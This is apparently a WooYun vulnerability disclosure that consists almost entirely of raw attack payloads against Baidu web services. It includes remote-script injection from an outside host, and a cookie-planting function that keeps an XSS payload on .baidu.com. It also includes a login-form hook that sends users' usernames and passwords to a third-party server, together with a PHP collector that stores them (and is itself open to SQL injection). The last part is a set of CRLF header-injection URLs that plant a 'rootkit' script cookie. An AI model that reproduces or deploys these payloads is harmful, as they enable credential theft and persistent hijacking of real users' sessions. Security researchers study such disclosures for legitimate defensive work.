WooYun.org

document.write('<script src="//txt888.sinaapp.com/test.js"></script>')

var%20element%3Ddocument.createElement%28%27script%27%29%3Belement.setAttribute%28%27src%27%2C%20%27http%3A%2f%2ftxt888.sinaapp.com%2ftest.js%27%29%3Bdocument.getElementsByTagName%28%22head%22%29.item%280%29.appendChild%28element%29%3B

function fSetCookie(c, e, d) {
    var a = ";domain=" + d +";path=/" ;
    document.cookie = c + "=" + e + a + ";expires=" + new Date(2099, 12, 31).toGMTString();
}
fSetCookie("PMS_JT","document.write('<script src=\"//txt888.sinaapp.com/test.js\"></script>')",".baidu.com")

http://m.apistore.baidu.com/astore/mfaqdetail/?tag=0&webTitle=APIStore%E4%BB%8B%E7%BB%8D<srcipt src="//txt888.sinaapp.com/baidu_test.js"></script>

function login_jc(){
    a = new Image();
    a.src = "http://txt888.sinaapp.com/form_save.php?user=" + document.getElementById("TANGRAM__PSP_8__userName").value + "&password=" + document.getElementById("TANGRAM__PSP_8__password").value; 
    return true;
}
_.Module.use("common/widget/LoginDialog", ["", "userBar"]);#加载登录框
setTimeout("document.getElementById(\"TANGRAM__PSP_8__form\").setAttribute(\"onsubmit\",\"login_jc();\")",5000);#5秒后增加onsubmit事件

<?php
function insert($data){
    $mysql = new SaeMysql();
    $sql = "insert into test(`data`,`time`) values('$data',now())";
    $mysql->runsql($sql);
    $mysql->closeDb();
    if ($mysql->errno() != 0){
    	die("Error:" . $mysql->errmsg());
	}
}
if (count($_GET)>=1){
    $data = json_encode($_GET);
	insert($data);
    echo 1;
}
?>

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%2f%2f%2ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29; domain=.baidu.com; path=/%0aa:

http://wenku.baidu.com:80/topic/new/href=/%0aset-cookie:%20PMS_JT=document.write%28%27%3Cscript%20src%3D%22%252f%252ftxt888.sinaapp.com%2fbaidu_rookit.js%22%3E%3C%2fscript%3E%27%29;%20domain=.baidu.com;%20path=/%0aa:#.jpg